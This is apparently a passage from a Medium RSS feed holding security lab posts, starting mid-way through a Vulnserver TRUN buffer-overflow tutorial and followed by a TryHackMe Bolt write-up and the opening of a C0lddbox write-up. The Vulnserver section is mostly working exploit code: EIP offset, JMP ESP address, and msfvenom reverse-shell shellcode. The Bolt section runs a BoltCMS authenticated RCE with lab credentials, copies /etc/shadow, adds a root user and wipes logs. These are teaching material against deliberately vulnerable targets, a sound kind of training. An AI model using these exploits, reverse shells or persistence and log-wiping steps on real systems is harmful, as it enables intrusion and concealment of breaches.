0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk&quot;</pre><pre># Payload construction<br># exp = TRUN .&lt;CYCLIC_PATTERN&gt; -&gt; until 5000<br>exp = cmd +  pattern</pre><pre>try:<br>    # Create a IPv4 TCP socket<br>    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</pre><pre>    # Connect to the vulnserver application<br>    print(f&quot;[i] Connecting to {HOST} at port {PORT}...&quot;)<br>    s.connect(server)</pre><pre>    # Send our malicious input<br>    print(&quot;[i] Sending malicious input...&quot;)<br>    s.send(exp)</pre><pre>    # Close the connection<br>    print(&quot;[+] Malicious input sent! Closing the connection...&quot;)<br>    s.close()</pre><pre># Print out any errors encountered in the socket connection<br>except socket.error as e:<br>    print(f&quot;Socket Error! Error: {e}&quot;)</pre><p>Now that we modified the code, restart the vulnserver application in the Windows virtual machine, connect it to the debugger, continue execution and resend our exploit code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*C-Ih0iA0IbMDuJbs.png" /></figure><p>The instruction pointer (EIP) looks weird, it must be one of the character in the cyclic pattern we created. Let&#39;s use .formats to see what is the value of the EIP in ASCII.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/0*WhSWn2axZde85Wlm.png" /></figure><p>So how do we determine the offset using the cyclic pattern we create? Fortunately, there is a command line tool that we can use named: msf-pattern_offset which does what we need. The command should look like this:</p><pre>msf-pattern_offset -q 0x396f4338 -l 5000 <br># -q = EIP value copied in the WinDbg<br># -l = length of our pattern</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/0*KM16SxqRoyXeeKyB.png" /></figure><p>We can see that the offset is at 2006 bytes, this means that we start overwriting EIP at this input size. To test it, lets modify the code and restart the vulnserver application.</p><pre>&lt;SNIPPED FOR BREVITY&gt;</pre><pre># Exploit (Our user input emulation)<br>MAX_INPUT_LENGTH = 5000<br>offset = 2006<br>cmd = b&quot;TRUN .&quot;<br>buf = b&quot;A&quot; * offset # 2006 A&#39;s<br>test_eip_overwrite = b&quot;B&quot; * 4 # EIP should look like 0x42424242 (4 B&#39;s)</pre><pre># Added NOP (no-operation) padding to maintain 5000 byte length<br>padding = b&quot;\x90&quot; * (MAX_INPUT_LENGTH - len(cmd) - len(buf) - len(test_eip_overwrite))<br></pre><pre># Payload construction<br># exp = TRUN .AAAA -&gt; until 2006 Bytes -&gt; BBBB (EIP Overwrite) -&gt; NOP Sled (x90)<br>exp = cmd +  buf + test_eip_overwrite + padding</pre><pre>&lt;SNIPPED FOR BREVITY&gt;</pre><p>Most of the code change happens on this part of the exploit/payload construction which we defined the offset, value of the EIP we want to and the padding to maintain input length. Let’s send this to the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jADi_Rce9nD3ZKlr.png" /></figure><p>It seems that we successfully overwritten the EIP with B&#39;s (0x42424242) and our NOP (\x90) padding is intact.</p><h4>Detecting Bad Characters</h4><p>Before we attempt to obtain code execution, we need to determine which characters are allowed in our shellcode. We can send a set of characters from \x00 to \xff and append it to our exisiting exploit code.</p><pre>&lt;SNIPPED FOR BREVITY&gt;<br># Bad characters set (we omit the \x00 NULL Byte since it is commonly used as a NULL terminator for C/C++ strings)<br>badchars = (<br>    b&quot;\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10&quot;<br>    b&quot;\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20&quot;<br>    b&quot;\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30&quot;<br>    b&quot;\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40&quot;<br>    b&quot;\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50&quot;<br>    b&quot;\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60&quot;<br>    b&quot;\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70&quot;<br>    b&quot;\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80&quot;<br>    b&quot;\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90&quot;<br>    b&quot;\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0&quot;<br>    b&quot;\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0&quot;<br>    b&quot;\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0&quot;<br>    b&quot;\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0&quot;<br>    b&quot;\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0&quot;<br>    b&quot;\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0&quot;<br>    b&quot;\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&quot;<br>    )</pre><pre># Added NOP (no-operation) padding to trigger the buffer overflow condition<br>padding = b&quot;\x90&quot; * (MAX_INPUT_LENGTH - len(cmd) - len(buf) - len(test_eip_overwrite) - len(badchars))<br></pre><pre># Payload construction<br># exp = TRUN .AAAA -&gt; until 2006 Bytes -&gt; BBBB (EIP Overwrite) -&gt; badchars -&gt; NOP Sled (x90)<br>exp = cmd +  buf + test_eip_overwrite + badchars + padding<br>&lt;SNIPPED FOR BREVITY&gt;</pre><p>With this modified code, we can try to send it to the target application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y_FLQOad4j1j14n9.png" /></figure><p>We only omit the NULL byte (\x00) and all of the characters are accepted. With this information, we can generate a shellcode that does not contain a bad character (in this case, a NULL byte (\x00)).</p><h4>Redirecting the Execution Flow</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*T6fll6Fqq1Nwo-Dj.png" /></figure><p>In the screenshot above, we can see that the stack pointer ESP points to our payload buffer. We can try to redirect execution to the address pointed to by ESP and execute our payload. But how? We have control over the value of the instruction pointer (EIP), we can try to place an address that contains instructions like JMP ESP to redirect execution flow to the value that we have in the stack pointer (ESP). But first, we need to know what address we need to use. The address must be:</p><ul><li>Not containing bad characters (<em>in this case, the NULL byte (</em><em>\x00)</em>)</li><li>Libraries/Executables that are not compiled with ASLR*</li></ul><p><em>*Note: This would vary if we have found an information leak vulnerability that enables us to bypass ASLR, but we are dealing with a simple binary with exploit mitigations (like ASLR) disabled.</em></p><p>How can we find such memory addresses with JMP ESP ? We can use WinDBG to find such addresses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eEju37lPxL9G57dX.png" /></figure><p>We used lm f to list all loaded modules upon program execution and its file path in the filesystem. We can see 1 library that is related to the vulnserver process. We can also see the start and end addresses of the listed modules based on the screenshot above. We don&#39;t know if this module is compiled with exploit mitigations (<em>specifically ASLR</em>). We need to import a helper script named <a href="https://raw.githubusercontent.com/tin-z/narly.js/refs/heads/main/narly.js">narly</a> to help us enumerate the protections enabled (<em>easier and simpler</em>) in a module loaded by the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*P7N8DVPLXUmykhx8.png" /></figure><p>To run narly, simply type:</p><pre>!nmod</pre><p>This will list all binary protections on the loaded modules within the application. We are particularly interested on the essfunc.dll module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Vf5ndZCoGmYHARjV.png" /></figure><p>Denoted by X, indicates that a binary protection is missing. We can infer that the module in question is indeed not compiled with ASLR.</p><p>The JMP ESP instruction&#39;s opcode equivalent is ff e4. We can verify it by using msf-nasm_shell and provide the assembly instruction for JMP ESP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/0*dCEqXs8VIbkFijOk.png" /></figure><p>Let’s now find address that contains the instruction JMP ESP or ff e4 in assembly.</p><p>To do that, we can use:</p><pre>s -b &lt;start_address&gt; &lt;end_address&gt; ff e4 # JMP ESP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ntZrpqkRF-dh33EY.png" /></figure><p>What we did is to search the memory address that uses JMP ESP instruction and we found some of it. Let&#39;s check one of the address (<em>using </em><em>u &lt;memory address&gt; to unassemble</em>) to verify that it contains the instruction we want.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/0*k9sjFHCcCilqjgKv.png" /></figure><p>Since the memory address does not contain a bad character, lets modify our exploit code to check if we can jump to the stack.</p><pre># Add the necessary imports<br>import socket<br>import struct</pre><pre>&lt;SNIPPED FOR BREVITY&gt;</pre><pre># Exploit (Our user input emulation)<br>MAX_INPUT_LENGTH = 5000<br>offset = 2006<br>jmp_esp_addr = struct.pack(&quot;&lt;L&quot;, 0x625011af) # JMP ESP Address<br>cmd = b&quot;TRUN .&quot;<br>buf = b&quot;A&quot; * offset # 2006 A&#39;s</pre><pre>&lt;SNIPPED FOR BREVITY&gt;</pre><pre># Added NOP (no-operation) padding to trigger the buffer overflow condition<br>padding = b&quot;\x90&quot; * (MAX_INPUT_LENGTH - len(cmd) - len(buf) - len(jmp_esp_addr) - len(badchars))</pre><pre># Payload construction<br># exp = TRUN .AAAA -&gt; until 2006 Bytes -&gt; JMP ESP Address (EIP Overwrite) -&gt; badchars -&gt; NOP Sled (x90)<br>exp = cmd +  buf + jmp_esp_addr + badchars + padding</pre><pre>&lt;SNIPPED FOR BREVITY&gt;</pre><p>As you can see from the exploit code above, we replaced the dummy EIP overwrite with address that we found on the module essfunc.dll that is used by the vulnserver application. Restart the application, continue the execution, set a breakpoint on the JMP ESP instruction (bp 0x625011af) and send the newly modified exploit code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5tq9YzJEudzmBcSw.png" /></figure><p>Nice! We successfully controlled the execution flow to our controlled buffer! Let’s try to leverage this to gain full code execution!</p><h4>Obtaining Code Execution</h4><p>Since we can overwrite the instruction pointer (EIP) reliably, found a way to jump to our controlled buffer and we have large space for shellcode, we can try to place a reverse shell payload in the stack.</p><p>We can do that by using the tool, msfvenom. The command should look like this:</p><pre>msfvenom -p windows/shell_reverse_tcp -f py -v shellcode LHOST=&lt;IP&gt; LPORT=&lt;PORT&gt; -f py -b &quot;\x00&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MPt7vWExPhfO12kb.png" /></figure><p>Let’s try to append the shellcode to the existing exploit code.</p><pre>&lt;SNIPPED FOR BREVITY&gt;<br># Exploit (Our user input emulation)<br>MAX_INPUT_LENGTH = 5000<br>offset = 2006<br>jmp_esp_addr = struct.pack(&quot;&lt;L&quot;, 0x625011af) # JMP ESP<br>cmd = b&quot;TRUN .&quot;<br>buf = b&quot;A&quot; * offset # 2006 A&#39;s</pre><pre># TCP Reverse Shell Shellcode<br>shellcode =  b&quot;&quot;<br>shellcode += b&quot;\xbd\xf5\x42\x84\x63\xda\xcf\xd9\x74\x24\xf4&quot;<br>shellcode += b&quot;\x5e\x33\xc9\xb1\x52\x31\x6e\x12\x03\x6e\x12&quot;<br>shellcode += b&quot;\x83\x1b\xbe\x66\x96\x1f\xd7\xe5\x59\xdf\x28&quot;<br>shellcode += b&quot;\x8a\xd0\x3a\x19\x8a\x87\x4f\x0a\x3a\xc3\x1d&quot;<br>shellcode += b&quot;\xa7\xb1\x81\xb5\x3c\xb7\x0d\xba\xf5\x72\x68&quot;<br>shellcode += b&quot;\xf5\x06\x2e\x48\x94\x84\x2d\x9d\x76\xb4\xfd&quot;<br>shellcode += b&quot;\xd0\x77\xf1\xe0\x19\x25\xaa\x6f\x8f\xd9\xdf&quot;<br>shellcode += b&quot;\x3a\x0c\x52\x93\xab\x14\x87\x64\xcd\x35\x16&quot;<br>shellcode += b&quot;\xfe\x94\x95\x99\xd3\xac\x9f\x81\x30\x88\x56&quot;<br>shellcode += b&quot;\x3a\x82\x66\x69\xea\xda\x87\xc6\xd3\xd2\x75&quot;<br>shellcode += b&quot;\x16\x14\xd4\x65\x6d\x6c\x26\x1b\x76\xab\x54&quot;<br>shellcode += b&quot;\xc7\xf3\x2f\xfe\x8c\xa4\x8b\xfe\x41\x32\x58&quot;<br>shellcode += b&quot;\x0c\x2d\x30\x06\x11\xb0\x95\x3d\x2d\x39\x18&quot;<br>shellcode += b&quot;\x91\xa7\x79\x3f\x35\xe3\xda\x5e\x6c\x49\x8c&quot;<br>shellcode += b&quot;\x5f\x6e\x32\x71\xfa\xe5\xdf\x66\x77\xa4\xb7&quot;<br>shellcode += b&quot;\x4b\xba\x56\x48\xc4\xcd\x25\x7a\x4b\x66\xa1&quot;<br>shellcode += b&quot;\x36\x04\xa0\x36\x38\x3f\x14\xa8\xc7\xc0\x65&quot;<br>shellcode += b&quot;\xe1\x03\x94\x35\x99\xa2\x95\xdd\x59\x4a\x40&quot;<br>shellcode += b&quot;\x71\x09\xe4\x3b\x32\xf9\x44\xec\xda\x13\x4b&quot;<br>shellcode += b&quot;\xd3\xfb\x1c\x81\x7c\x91\xe7\x42\x43\xce\x1c&quot;<br>shellcode += b&quot;\x71\x2b\x0d\xe2\x77\x17\x98\x04\x1d\x77\xcd&quot;<br>shellcode += b&quot;\x9f\x8a\xee\x54\x6b\x2a\xee\x42\x16\x6c\x64&quot;<br>shellcode += b&quot;\x61\xe7\x23\x8d\x0c\xfb\xd4\x7d\x5b\xa1\x73&quot;<br>shellcode += b&quot;\x81\x71\xcd\x18\x10\x1e\x0d\x56\x09\x89\x5a&quot;<br>shellcode += b&quot;\x3f\xff\xc0\x0e\xad\xa6\x7a\x2c\x2c\x3e\x44&quot;<br>shellcode += b&quot;\xf4\xeb\x83\x4b\xf5\x7e\xbf\x6f\xe5\x46\x40&quot;<br>shellcode += b&quot;\x34\x51\x17\x17\xe2\x0f\xd1\xc1\x44\xf9\x8b&quot;<br>shellcode += b&quot;\xbe\x0e\x6d\x4d\x8d\x90\xeb\x52\xd8\x66\x13&quot;<br>shellcode += b&quot;\xe2\xb5\x3e\x2c\xcb\x51\xb7\x55\x31\xc2\x38&quot;<br>shellcode += b&quot;\x8c\xf1\xf2\x72\x8c\x50\x9b\xda\x45\xe1\xc6&quot;<br>shellcode += b&quot;\xdc\xb0\x26\xff\x5e\x30\xd7\x04\x7e\x31\xd2&quot;<br>shellcode += b&quot;\x41\x38\xaa\xae\xda\xad\xcc\x1d\xda\xe7&quot;</pre><pre># Added NOP (no-operation) padding to trigger the buffer overflow condition<br>padding = b&quot;\x90&quot; * (MAX_INPUT_LENGTH - len(cmd) - len(buf) - len(jmp_esp_addr) - len(shellcode))</pre><pre># Payload construction<br># exp = TRUN .AAAA -&gt; until 2006 Bytes -&gt; JMP ESP Address (EIP Overwrite) -&gt; shellcode -&gt; NOP Sled (x90)<br>exp = cmd +  buf + jmp_esp_addr + shellcode + padding<br>&lt;SNIPPED FOR BREVITY&gt;</pre><p>Now that we modified the exploit code, let’s restart the vulnserver application, set up a netcat (nc) listener on port that we set (<em>in this case, 443</em>), attach to the vulnserver application process via WinDBG, continue execution and send our newly modified exploit code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*f0TJubSxXRO3tOQM.png" /></figure><p>We did not receive any reverse shell using the exploit code that we sent to the target application. Why? The shellcode is generated using an encoder named shikata_ga_nai which performs the decoding on the first few bytes before the reverse shell execution. For more information on how this works , this is well explained in this <a href="https://cloud.google.com/blog/topics/threat-intelligence/shikata-ga-nai-encoder-still-going-strong/">blog</a>.</p><p>The solution for our problem is to add additional NOP sled before the shellcode so that it wont overwrite some parts of our malicious buffer.</p><pre>&lt;SNIPPED FOR BREVITY&gt;<br># TCP Reverse Shell Shellcode<br>shellcode =  b&quot;\x90&quot; * 20<br>shellcode += b&quot;\xbd\xf5\x42\x84\x63\xda\xcf\xd9\x74\x24\xf4&quot;<br>shellcode += b&quot;\x5e\x33\xc9\xb1\x52\x31\x6e\x12\x03\x6e\x12&quot;<br>shellcode += b&quot;\x83\x1b\xbe\x66\x96\x1f\xd7\xe5\x59\xdf\x28&quot;<br>shellcode += b&quot;\x8a\xd0\x3a\x19\x8a\x87\x4f\x0a\x3a\xc3\x1d&quot;<br>shellcode += b&quot;\xa7\xb1\x81\xb5\x3c\xb7\x0d\xba\xf5\x72\x68&quot;<br>shellcode += b&quot;\xf5\x06\x2e\x48\x94\x84\x2d\x9d\x76\xb4\xfd&quot;<br>shellcode += b&quot;\xd0\x77\xf1\xe0\x19\x25\xaa\x6f\x8f\xd9\xdf&quot;<br>shellcode += b&quot;\x3a\x0c\x52\x93\xab\x14\x87\x64\xcd\x35\x16&quot;<br>&lt;SNIPPED FOR BREVITY&gt;</pre><pre># rest of the code remains the same...</pre><p>The number of NOP (\x90) instructions are arbitrary (<em>you can place an exact amount of NOP instructions, but to be safe we use a fairly decent amount of NOPs</em>).</p><p>Let’s resend our exploit code and hopefully we get a reverse shell on our end. This time we wont attach it to the debugger (<em>the encoder also messes up when it is connected to a debugger</em>).</p><p><em>At this point, I am trying the exploit on my ARM64 Windows VM and it is not executing… I decided to switch back to a x64 Windows VM and exploit it from there.</em></p><p><em>Note: I changed the IP Address in the Python script and the shellcode we generated earlier, this is to accomodate my setup and perform the exploit completely. This might not be the case for you and you can proceed with the exploitation.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W_cZ5xaFWiuudC9q.png" /></figure><p>We successfully gained remote code execution on the target application: vulnserver.exe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df81f087160c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Bolt Write-up]]></title>
            <link>https://scritty.medium.com/tryhackme-bolt-write-up-6a05d16ed58c?source=rss-54d24075c003------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a05d16ed58c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[scr1++y]]></dc:creator>
            <pubDate>Mon, 08 Aug 2022 01:03:44 GMT</pubDate>
            <atom:updated>2022-08-08T01:03:44.310Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*20anzxAhCJy2grjo" /><figcaption>Photo by <a href="https://unsplash.com/@paulmocan?utm_source=medium&amp;utm_medium=referral">paul mocan</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>A machine that highlights the authenticated remote code execution vulnerability in BoltCMS 3.7.0. This machine is a pretty straightforward box since exploiting the using the metasploit module gives us a root shell on the machine. Let’s hop straight into it!</p><pre>IP = 10.10.143.4*<br>Difficulty: Easy<br>Machine OS: Linux<br>Learning Platform: tryhackme.com<br>Created by: <a href="https://tryhackme.com/p/0x9747">0x9747</a></pre><ul><li><em>Note: IP address may vary.</em></li></ul><h3>Reconnaissance</h3><h3>Scoping and Preparation</h3><p>Connect to Tryhackme OpenVPN Server using:</p><ul><li>sudo openvpn {PATH_TO_OVPN_FILE}</li></ul><p>Run our recon tools such as nmap and gobuster.</p><p>I ran nmap twice to get the specific ports that are open so I can do OS and Version enumeration faster since I got the open ports needed.</p><p>1st Nmap command used: sudo nmap -T4 -p- -oN [FILENAME] [IP]</p><p>2nd Nmap command used: sudo nmap -A -T4 -p[OPEN_PORTS_GOT_ON_1ST_NMAP_SCAN] -oN [FILENAME] [IP]</p><p>Gobuster command used: gobuster dir -u http://[IP] -w [WORDLIST] -o [FILENAME FOR OUTPUT] -t [NUMBER OF THREADS]</p><h3>External Enumeration</h3><h3>Preliminary Enumeration via nmap</h3><h4>Table 1.1: nmap Results Summary</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*rcRoLKFuHioy6ZrkYs1DXw.png" /><figcaption>nmap result summary.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*otdXsEwLLy7iXla9o05xhw.png" /><figcaption>partial nmap result summary.</figcaption></figure><p>Ubuntu Version: <a href="https://launchpad.net/ubuntu/+source/openssh/1:7.6p1-4ubuntu0.3">Ubuntu Bionic</a></p><h3>Web Enumeration</h3><p>Browsing through the HTTP service at port 80 gives us the default Apache page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SYKwjvCwqmZl8EJhqaqvJg.png" /><figcaption>default page for Apache2</figcaption></figure><p>Let’s see what the web technologies that the web server use. In this case, I use the browser extension wapplayzer. <a href="https://www.wappalyzer.com/apps/">Link</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*rI-FwXzSO8kypKFoQPhB9A.png" /><figcaption>web technologies used by HTTP service at port 80.</figcaption></figure><p>Nothing new come up from checking the web technologies using wappalyzer. Let’s see the HTTP service in port 8000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3lPHJLM90C7DoGqlGN9qdw.png" /><figcaption>webpage at port 8000 that includes possible credentials.</figcaption></figure><p>Scrolling through the webpage (as shown in the image above), we see a post from Jake telling the password of the admin account.</p><p>Let’s see the web technologies used in the HTTP server at port 8000.</p><p>Scrolling further, we can also see that Jake also shares the username of his admin account named bolt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vL5-u2wXVA7QMNSHSaD8dA.png" /><figcaption>username in the web server is bolt.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*zkJUzermJuZ1Nhu09KVxdg.png" /><figcaption>web technologies in port 8000.</figcaption></figure><p>We can see that the HTTP server at port 8000 is running BoltCMS. We will look for the documentation about BoltCMS later since we have possible credentials for the CMS.</p><p>Searching bolt cms login page on google gives us the documentation for BoltCMS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EOpYZ1UceOATimz6Bd124w.png" /><figcaption>BoltCMS documentation about the location of login page.</figcaption></figure><p>Using the information we got on the BoltCMS documentation, we typed the URL where the login page reside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9FCcrhq_CPfnZ7NE20eQNw.png" /><figcaption>trying the credentials found on posts in the web server.</figcaption></figure><p>Submitting the credentials, we are now logged in as admin in the BoltCMS and also we can see the BoltCMS version. We can try if it has specific version vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w_ODullyVH-GfwMuKDg39w.png" /><figcaption>logged in as bolt.</figcaption></figure><h3>Exploitation</h3><h3>Web Server Exploitation</h3><p>We now have valid login for the webpage and BoltCMS version. We can look if the running version of BoltCMS has vulnerabilities. We can use the tool searchsploit.</p><p>Command used: searchsploit bolt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OUy18rO_JeLRZRoi8ZZ_Fg.png" /><figcaption>BoltCMS exploits as per searchsploit.</figcaption></figure><p>We can see that there is a authenticated RCE (Remote Code Execution) in BoltCMS v.3.7.0.. We can further examine it using searchsploit by using the -x flag and copying the path shown on the previous searchsploit output.</p><p>Command used: searchsploit -x php/webapps/48296.py</p><p>The command above will show the exploit code for the specified path given on searchsploit.</p><p>Basing on the tryhackme question, it suggests that we use the metasploit module for our exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ol9pTqnLVOvYQvMEWToYw.png" /><figcaption>metasploit module for BoltCMS 3.7.0 — Authenticated Remote Code Execution.</figcaption></figure><p>We will use the exploit/unix/webapp/bolt_authenticated_rce module for our exploit. To quickly select this module, type use 0.</p><p>We just need to set the LHOST, RHOST, USERNAME and PASSWORD to successfully run the exploit module. The commands used are shown below. (<em>Note: Press ENTER key for every command</em>) Lastly type, run or if you want to be a cool kid, type exploit.</p><pre>set LHOST [YOUR_THM_IP]<br>set RHOST [VICTIM_MACHINE_IP]<br>set USERNAME bolt<br>set PASSWORD boltadmin123<br>run</pre><h3>Table 1.2: Credentials</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/235/1*9mbcZ7R_P7JRK8Eu17NPug.png" /><figcaption>credentials found.</figcaption></figure><h3>Post-Exploitation</h3><h3>Internal Enumeration</h3><h4>Table 1.3: Checklist for Linux Internal Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*LcSat3JqtkKhTDU5fCi9tA.png" /><figcaption>mini checklist for linux privilege escalation.</figcaption></figure><p><em>Notes: For more information about the commands look </em><a href="https://explainshell.com/"><em>here</em></a></p><p><em>Tip: When nothing else makes sense, try to use </em><a href="https://github.com/carlospolop/PEASS-ng"><em>LinPEAS</em></a><em> (</em><a href="https://github.com/carlospolop/PEASS-ng"><em>winPEAS</em></a><em> for windows machines.).</em></p><p>We are now logged in as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3oDNVrxsZYQ8PE6j0lyoeg.png" /><figcaption>using the metasploit module gives us a root shell.</figcaption></figure><p>We don’t have a need to escalate our privileges since we are now root.</p><p>To find the flag, use the find binary:</p><p>Command used: find / -type f -name &#39;flag.* 2&gt;/dev/null&#39;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*g_2QTeoAhIstW_70jA55lA.png" /><figcaption>finding the flag using find binary.</figcaption></figure><h3>Data Exfiltration</h3><p>We also managed to get the confidential info for the machine and dumped it into a file named<a href="https://github.com/hambyhacks/hambyhacks.github.io/blob/main/Writeups/TryHackMe/Bolt/confidential.md"> Confidential.md</a> (<em>includes /etc/shadow contents and root flag</em>).</p><h3>STATUS: ROOTED</h3><p>The next two steps are not necessary for completion of the machine but it completes the 5 Phases of Penetration Testing.</p><h3>Persistence</h3><p>Copied the /etc/shadow file for user identification and their passwords.</p><p>Added another root user for easy access.</p><h3>Clearing Tracks</h3><p>Removed all logs and footprints to to prevent risk of exposure of breach to security administrator.</p><h3>Status: Finished</h3><p>Feel free to reach out and if there is something wrong about the above post. Feedback are also appreciated! :D</p><h3>Donation Box</h3><p>Not required but appreciated! :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/170/0*HW_TU28bdfQIsJIu.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/1*Zp179nUzBMqBk_swIXMtxw.png" /></figure><h3>Socials</h3><ul><li><a href="https://twitter.com/hambyhaxx">Twitter</a></li><li><a href="https://hambyhaxx.medium.com/">Medium</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a05d16ed58c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: C0lddbox Writeup]]></title>
            <link>https://scritty.medium.com/tryhackme-c0lddbox-writeup-8e3bb46742b5?source=rss-54d24075c003------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e3bb46742b5</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[scr1++y]]></dc:creator>
            <pubDate>Mon, 01 Aug 2022 01:02:55 GMT</pubDate>
            <atom:updated>2022-08-01T01:02:55.014Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Qpvew7lNLFi34fmT" /><figcaption>Photo by <a href="https://unsplash.com/@andersjilden?utm_source=medium&amp;utm_medium=referral">Anders Jildén</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><pre>IP = 10.10.70.248*<br>Difficulty: Easy<br>Machine OS: Linux<br>Learning Platform: tryhackme.com</pre><p><em>*Note: IP address may vary.</em></p><h3>Reconnaissance</h3><h3>Scoping and Preparation</h3><p>Connect to Tryhackme OpenVPN Server using:</p><ul><li>sudo openvpn {PATH_TO_OVPN_FILE}</li></ul><p>Run our recon tools such as nmap and gobuster.</p><p>I ran nmap twice to get the specific ports that are open so I can do OS and Version enumeration faster since I got the open ports needed.</p><p>1st Nmap command used: sudo nmap -T4 -p- -oN [FILENAME] [IP]</p><p>2nd Nmap command used: sudo nmap -A -T4 -p[OPEN_PORTS_GOT_ON_1ST_NMAP_SCAN] -oN [FILENAME] [IP]</p><p>Gobuster command used: gobuster dir -u 